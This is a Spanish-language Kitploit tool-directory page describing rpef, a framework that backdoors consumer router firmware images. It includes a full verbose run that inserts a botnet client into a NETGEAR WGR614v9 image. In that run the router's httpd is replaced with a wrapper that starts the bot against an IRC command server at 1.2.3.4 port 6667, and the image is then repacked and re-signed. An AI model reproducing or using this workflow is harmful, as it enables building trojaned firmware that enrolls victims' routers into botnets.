Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
rpef — Abstrae y agiliza el proceso de backdooring de imágenes de firmware originales para routers de consumo/SOHO. | Kitploit
Herramientas/GitHubGitHub/mncoppola/rpef
Seguridad de Sistemas EmbebidosExplotaciónIngeniería InversaPost-ExplotaciónPruebas de PenetraciónSeguridad de Hardware e IoTRed TeamingDesarrollo de PayloadsAnálisis de Firmware
GitHubmncoppola/rpef

rpef

Abstrae y agiliza el proceso de backdooring de imágenes de firmware originales para routers de consumo/SOHO.

124297hace 12 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio

Router Post-Exploitation Framework

Actualmente, el framework incluye una serie de módulos de imagen de firmware:

root@kitploit:~
'Verificado'   - Este módulo está confirmado para funcionar y es estable.

'No verificado' - Se cree que este módulo funciona o debería funcionar con
               poco esfuerzo adicional, pero está pendiente de ser probado en un
               dispositivo físico.

'En pruebas'    - Este módulo se encuentra actualmente en desarrollo y es
               inestable por ahora.  Los usuarios deberían considerar este
               módulo como un "trabajo en progreso".

'Bloqueado'  - Los problemas han detenido el progreso de este módulo por el
               momento.  Ciertas utilidades no disponibles o un trabajo
               significativo de ingeniería inversa pueden ser necesarios.

Para obtener una lista de opciones, ejecute:

root@kitploit:~
./rpef.py -h

Para obtener una lista de todos los objetivos de firmware actualmente soportados, ejecute:

root@kitploit:~
./rpef.py -ll

Un poco de arquitectura

El script está escrito para Python 2.6 y puede requerir la instalación de algunos módulos. Normalmente se invoca como:

root@kitploit:~
./rpef.py <imagen de firmware> <archivo de salida> <payload>

y acepta una serie de conmutadores opcionales (ver -h).

El directorio rules/ almacena una jerarquía de directorios rules//. Un módulo se corresponde con una suma de comprobación de firmware (no con un router específico), ya que se ha observado que múltiples routers ejecutan exactamente el mismo firmware. Dentro de cada módulo se encuentra properties.json, que almacena el lenguaje y el orden de las operaciones necesarias para desempaquetar, instalar la puerta trasera y volver a empaquetar la imagen de firmware objetivo. El directorio payloads/ almacena binarios compilados de forma cruzada listos para su implementación, y el directorio opcional dependencies/ almacena archivos diversos para ayudar en el proceso.

El directorio utilities/ almacena binarios x86 precompilados para realizar tareas como empaquetar/desempaquetar sistemas de archivos, comprimir/descomprimir datos (para los cuales no existe un módulo .py adecuado) y calcular sumas de comprobación.

El directorio payloads_src/ almacena el código fuente de los propios payloads. Todos los payloads están escritos desde cero para mantenerlos lo más pequeños posible.

Uso

Para generar de forma verbosa una imagen de firmware para el WGR614v9 con la puerta trasera de un cliente botnet, ejecute:

root@kitploit:~
./rpef.py WGR614v9-V1.2.30_41.0.44NA.chk WGR614v9-V1.2.30_41.0.44NA_botnet.chk botnet -v

Y el proceso debería continuar de la siguiente manera:

root@kitploit:~
$ ./rpef.py WGR614v9-V1.2.30_41.0.44NA.chk WGR614v9-V1.2.30_41.0.44NA_botnet.chk botnet -v
[+] Verifying checksum
    Calculated checksum: 767c962037b32a5e800c3ff94a45e85e
    Matched target: NETGEAR WGR614v9 1.2.30NA (Verified)
[+] Extracting parts from firmware image
    Step 1: Extract WGR614v9-V1.2.30_41.0.44NA.chk, Offset 58, Size 456708 -> /tmp/tmpOaw1tn/headerkernel.bin
    Step 2: Extract WGR614v9-V1.2.30_41.0.44NA.chk, Offset 456766, Size 1476831 -> /tmp/tmpOaw1tn/filesystem.bin
[+] Unpacking filesystem
    Step 1: unsquashfs-1.0 /tmp/tmpOaw1tn/filesystem.bin -> /tmp/tmpOaw1tn/extracted_fs
        Executing: utilities/unsquashfs-1.0 -dest /tmp/tmpOaw1tn/extracted_fs /tmp/tmpOaw1tn/filesystem.bin
        
        created 217 files
        created 27 directories
        created 48 symlinks
        created 0 devices
        created 0 fifos
[+] Inserting payload
    Step 1: Rm /tmp/tmpOaw1tn/extracted_fs/lib/modules/2.4.20/kernel/net/ipv4/opendns/openDNS_hijack.o
    Step 2: Copy rules/NETGEAR/WGR614v9_1.2.30NA/payloads/botnet /tmp/tmpOaw1tn/extracted_fs/usr/sbin/botnet
    Step 3: Move /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd.bak
    Step 4: Touch /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd
    Step 5: Appendtext "#!/bin/msh
" >> /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd
[+] INPUT REQUIRED, IP address of IRC server: 1.2.3.4
[+] INPUT REQUIRED, Port of IRC server: 6667
[+] INPUT REQUIRED, Channel to join (include #): #hax      
[+] INPUT REQUIRED, Prefix of bot nick: toteawesome
    Step 6: Appendtext "/usr/sbin/botnet 1.2.3.4 6667 \#hax toteawesome &
" >> /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd
    Step 7: Appendtext "/usr/sbin/httpd.bak
" >> /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd
    Step 8: Chmod 777 /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd
[+] Building filesystem
    Step 1: mksquashfs-2.1 /tmp/tmpOaw1tn/extracted_fs, Blocksize 65536, Little endian -> /tmp/tmpOaw1tn/newfs.bin
        Executing: utilities/mksquashfs-2.1 /tmp/tmpOaw1tn/extracted_fs /tmp/tmpOaw1tn/newfs.bin -b 65536 -root-owned -le
        Creating little endian 2.1 filesystem on /tmp/tmpOaw1tn/newfs.bin, block size 65536.
        
        Little endian filesystem, data block size 65536, compressed data, compressed metadata, compressed fragments
        Filesystem size 1442.99 Kbytes (1.41 Mbytes)
            29.38% of uncompressed filesystem size (4912.18 Kbytes)
        Inode table size 2245 bytes (2.19 Kbytes)
            33.63% of uncompressed inode table size (6675 bytes)
        Directory table size 2322 bytes (2.27 Kbytes)
            55.26% of uncompressed directory table size (4202 bytes)
        Number of duplicate files found 3
        Number of inodes 293
        Number of files 218
        Number of fragments 22
        Number of symbolic links  48
        Number of device nodes 0
        Number of fifo nodes 0
        Number of socket nodes 0
        Number of directories 27
        Number of uids 1
            root (0)
        Number of gids 0
[+] Gluing parts together
    Step 1: Touch WGR614v9-V1.2.30_41.0.44NA_botnet.chk
    Step 2: Appendfile /tmp/tmpOaw1tn/headerkernel.bin >> WGR614v9-V1.2.30_41.0.44NA_botnet.chk
    Step 3: Appendfile /tmp/tmpOaw1tn/newfs.bin >> WGR614v9-V1.2.30_41.0.44NA_botnet.chk
[+] Padding image with null bytes
    Step 1: Pad WGR614v9-V1.2.30_41.0.44NA_botnet.chk to size 1937408 with 0 (0x00)
[+] Generating CHK header
    Step 1: packet WGR614v9-V1.2.30_41.0.44NA_botnet.chk rules/NETGEAR/WGR614v9_1.2.30NA/dependencies/compatible_NA.txt rules/NETGEAR/WGR614v9_1.2.30NA/dependencies/ambitCfg.h
        Executing: utilities/packet -k WGR614v9-V1.2.30_41.0.44NA_botnet.chk -b rules/NETGEAR/WGR614v9_1.2.30NA/dependencies/compatible_NA.txt -i rules/NETGEAR/WGR614v9_1.2.30NA/dependencies/ambitCfg.h
[+] Removing temporary files
    Step 1: Rmdir /tmp/tmpOaw1tn/
Descargar herramienta